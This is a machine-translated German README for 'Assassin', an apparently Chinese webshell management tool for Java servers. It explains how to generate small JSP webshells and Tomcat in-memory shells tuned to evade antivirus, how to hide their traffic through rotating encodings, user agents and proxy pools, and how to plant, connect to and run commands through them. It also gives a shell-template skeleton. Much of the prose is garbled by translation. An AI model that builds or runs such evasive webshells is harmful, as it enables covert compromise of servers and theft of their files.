Assassin ist ein optimiertes Befehlszeilen-basiertes Webshell-Management-Tool. Es verfügt über eine Vielzahl von Payload -Send- und Codierungsmethoden sowie optimierten Nutzlastcode, was es zu einem versteckten Attentäter macht und es schwierig ist, gut verteidigt zu werden.
Die Tools sind kurz und präzise, und die generierte Webshell kann häufiger und weicher Tötungen sein, wodurch die Verkehrsmerkmale der Interaktion nach der Verbindung minimiert werden, und die spezifische Sendungsmethode für Nutzlast kann angepasst werden. Aufgrund begrenzter persönlicher Energie, Weil ich faul und faul bin und Der Server unterstützt nur Java.
Aussage: Es dient hauptsächlich für rechtliche Durchdringung oder Studierende AWD -Wettbewerbe, die vom Cybersicherheitspersonal autorisiert wurden. Niemand darf es für illegale Zwecke oder gewinnbringende Zwecke verwenden, sonst werden die Konsequenzen von sich selbst getragen.
[1] Die generierte Webshell kann häufiger sein als die Software-Tötung (Webshell-Vorlagen können angepasst und geändert werden).
[2] Die Webshell hat nur 1 KB. Der Client und der Server müssen den Byte -Code nur einmal für denselben Kommunikationsart laden und den nachfolgenden Datenverkehr nur überträgt.
[3] Die Nutzlast kann auf vier Arten gesendet werden: Get, Post, Cookie und Mixed. Es kann dynamisch geändert werden und der Verkehr ist sehr verwirrend.
[4] Der interaktive Verkehr zwischen dem Client und dem Server unterstützt mehrere Codierungsmethoden, die dynamisch geändert werden können
[5] Die durch Nutzlast gesendeten Parameternamen und Menge können angepasst werden, was zufällige IP-Agenten und Benutzer-Agents unterstützt
Software ähnlich dem MSF -Betriebsmodus




Kekse: 
Post: 
gemischt: 
erhalten: 
Zusätzlich zur Cookie -Methode können Get, Post und Mixed die Sendungsmethode dynamisch ändern, nachdem eine Verbindung hergestellt wurde, ohne den Server zu ändern.
Anfrage Codierung:
Antwortkodierung:
Die Codierungsmethode der Antwort kann dynamisch geändert werden
Server: JRE 1.5 und höher
Kunde: JDK 1.8 und höher
{
"paramNames" : [ " user " , " file " , " id " , " eid " , " wd " , " ie " , " oq " , " name " , " son " ],
// get、post、mixed请求参数名的随机池
"cookieNames" : [ " fid " , " uuid " , " eid " , " home " , " ief " , " fl " , " oop " ],
// cookie请求参数名的随机池
"headers" :{
"Accept" : " text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 " ,
"Accept-Encoding" : " gzip, deflate, br " ,
"Accept-Language" : " Accept-Language: zh-CN,zh;q=0.9 " ,
"Upgrade-Insecure-Requests" : " 1 "
},
// http头部
"partNum" : 3 ,
// payload首次发送的分块数量
"argNum" : 5 ,
// 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数
"startRandomUserAgent" : false ,
// 是否随机useragent
"startIpAgents" : false ,
// 是否开启ip池代理模式
"startColor" : true
// 是否启用命令行颜色
}Random UserAgent verwendet den Benutzeragent in ./Useragents.txt. Nach dem Öffnen wird der Benutzeragent jedes Mal ersetzt, wenn die Anforderung aktiviert ist. Es wird im Allgemeinen mit dem IP -Agenten verwendet. Bei der Schließung wird jedes Mal eine Webshell -Sitzung mit dem Sitzungsbefehl gestartet.
Der IP -Proxypool verwendet ./ipagents.txt, das Format ist ip:posr;username:password . Wenn keine Authentifizierung erforderlich ist, ist ip:port in Ordnung. Nach dem Öffnen wird ein Proxy aus jeder Anfrage ausgewählt.
Tipp: Bitte schließen Sie "startColor", nachdem der Windows -Benutzer gestartet wurde, oder verwenden Sie Windows Terminal, um zu starten
Alle Befehle sind relativ einfach zu bedienen. Sie können Parameter über den Befehl helf anzeigen

help [command]

Beginnen Sie mit startup.bat oder startup.sh
new java 123 cookie
# 生成密码为123 发送方式为cookie的普通jsp木马
new java pass post reqEncode=base36 tamper=tomcat9_filter
# 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马 Tipps: Es gibt viele Parameter für Add und neue Befehle, und optionale Parameter, die in Klammern verpackt sind, können auch mit Key = Wert zugeordnet werden.
Anschließend wählt ein Popup-Fenster den Speicherort aus

Laden Sie die Webshell auf den Zielserver hoch
add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36
# 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36 Ansichts -ID -Nummer show 
session 1 Verbinden Sie eine Verbindung zu Webshell

Wenn Sie die Eingabeaufforderung ändert, können Sie den Befehl von Webshell Controller -Befehlen ausführen!
Assassin | java > getshell
Assassin | java | C: a pache-tomcat-9.0.54 b in > dirDatei hochladen
upload # 没参数默认传到当前目录
Wählen Sie die zum Hochladen der Datei aus
download ./test.txt Das gleiche gilt



Der erste Teil ist mit {@key} gefüllt, das das Webshell -Passwort darstellt
Der zweite Teil ist mit {@getValue} gefüllt, der den Code darstellt, der die Anforderung zur Nutzlast erhält
Der dritte Teil ist mit {@decode} gefüllt, der den Dekodierungscode darstellt
Die Vorlage lautet wie folgt:
String k = "{@key}" ; // aes密钥 123456 md5的前16位
String r = "" ; //密文payload存放位置,这个参数名必须为r,其他的无所谓
// 取密文
{ @ getvalue }
byte [] cText = { @ decode };Wenn die andere Hauptlogik unverändert bleibt, können Sie erfolgreich eine Verbindung herstellen.
Beispiel
Bitte beachten Sie die Vorlage von Filter Memory Horse von Tomcat unter Webshell/Java/